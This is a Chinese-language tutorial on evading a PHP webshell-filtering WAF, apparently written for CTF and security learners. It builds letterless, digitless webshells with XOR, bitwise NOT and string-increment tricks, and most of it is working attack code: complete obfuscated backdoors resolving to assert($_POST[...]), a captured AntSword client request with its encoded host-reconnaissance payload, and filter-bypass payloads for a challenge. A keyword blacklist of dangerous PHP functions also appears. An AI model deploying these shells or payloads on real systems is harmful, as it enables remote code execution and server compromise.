利用异或、取反、自增bypass_webshell_waf
目录
引言
利用异或
介绍
eval与assert
蚁剑连接
进阶题目
利用取反
利用自增
引言
有这样一个waf用于防御我们上传的文件:
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
过滤了很多命令,比如$_,这里的$_、^、~、等就是今天我们bypas_webshell_waf的几个技巧
利用异或
介绍
举一个例子:我们可以构造出下面的一个形式的代码:
<?php
echo "A"^"`";
?>
可以看到这里的结果是!
之所以会得到这样的结果,是因为代码中对字符"A"和字符"`"进行了异或操作。
在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。
上面这个例子中:
A的ASCII值是65,对应的二进制值是0100 0001
`的ASCII值是96,对应的二进制值是 0110 0000
根据异或运算符的规则:相同为0,不同为1,我们可以计算出异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是!了
我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作,如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:
<?php
function B(){
echo "Hello Angel_Kitty";
}
$_++;
$__= "?" ^ "}";
$__();
?>
$_++;
这行代码的意思是对变量名为"_"
的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
$__="?" ^ "}";
对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量 $ __ ();
通过上面的赋值操作,变量$__
的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。
注:在PHP中,我们可以将字符串当作函数来处理。
那么我们是不是就可以利用这种方式尝试构造出一个无字母,数字的webshell后门呢?
比如可以构造这样一段代码:
<?php
$_++;// $_ = 1
$__=("#"^"|");// $__ = _
$__.=("."^"~");// _P
$__.=("/"^"`");// _PO
$__.=("|"^"/");// _POS
$__.=("{"^"/");// _POST
${$__}[!$_](${$__}[$_]);// $_POST[0]($_POST[1]);
?>
eval与assert
我们可以在浏览器访问一下:
先给0传入一个eval,然后给1传入phpinfo();看是否可以解析
很明显这里没有解析
试着将eval修改为assert再尝试:
这里就解析成功,那为什么eval不能执行,但是assert可以执行呢?
答案就是因为:
-
因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。
-
而我们使用assert则可以成功,因为assert在php中被认为是一个函数
蚁剑连接
既然使用assert可以正常执行,那么来试试是否可以利用蚁剑来进行连接:
但是我们测试连接时却爆出了返回数据为空的警告
1提交的$POST['nanjing'],我们本意是为了执行assert($POST['nanjing'])
而我们中国蚁剑也同时post了nanjing这个数据为%40ini_set之类的数据,而我们又必须清楚一点,我们的eval函数中参数是字符,assert函数中参数为表达式 (或者为函数)
那我们可以尝试抓包访问一下:
这是抓包内容,执行的是我们的字符串,所以执行失败
POST /test6.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1050
Connection: close
0=assert&1=%24_POST%5B'nanjing'%5D&nanjing=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22c93609%22.%22c3f3a1%22%3Becho%20%40asenc(%24output)%3Becho%20%2250b55%22.%220267c%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
那我们直接在密码处输入0=assert&1试着连接一下:
为什么我们直接在蚁剑密码处输入0=assert&1,不进行编码的时候,还是会执行失败呢,原因和上文一致
0=assert&1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%220501%22.%2286a5%22%3Becho%20%40asenc(%24output)%3Becho%20%22bb%22.%220bf%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
那我们再尝试使用编码连接一下:
为什么我们执行了base64又成功了链接了呢
因为我们多了一个eval函数,实质上我们是在执行assert(eval()),所以是可以执行的。
- assert('adsadasdsadasdasdsa') 里面只有字符串
- assert(eval(base64dddddd)); 里面有eval函数
其本质还是assert(eval()),所以还是可以执行
进阶题目
现在如果有这样一道题目:
1.php
<?php
include "2.php";
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
?>
2.php:
<?php
function getFlag()
{
echo "i love security";
}
我们可以构造出这样一个payload:
payload:
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
尝试在浏览器中访问一下:
可以看到成功的访问了
利用取反
上面的题目我们也可以利取反来进行绕过:
我们可以看一下getFlag的~(取反)的结果是什么
<?php
$a = "getFlag";
echo urlencode(~$a);
利用这种方法绕过:
payload2:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
可以看到这里也成功了!
还可以这样利用取反:
$____='';
$___="瞰";
$____.=~($___{$_}); //a
$___="和";
$____.=~($___{$__}); //s
$___="和";
$____.=~($___{$__}); //s
$___="的";
$____.=~($___{$_}); //e
$___="半";
$____.=~($___{$_}); //r
$___="始";
$____.=~($___{$__}); //t
echo $____;
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
echo $_____;
可以看到最后的打印结果是:assert_POST,如果我们传入这样的webshell,就可以实现无字母,数字实现webshell了
利用自增
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。
例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。
注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。
也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串'a'的变量呢?
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
可以使用这样的方式取出Array[0]
<?php
$_=[];
$_=@"$_"; // $_='Array';
echo $_;
$_=$_['!'=='@']; // $_=$_[0];
以上代码可以取出Array的第一个字符'A'
然后再构造出ASSERT
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
然后再构造出POST
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
最后组合在一起:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
我们可以在浏览器中测试一下:
可以看到我们给_中传入phpinfo可以成功的执行!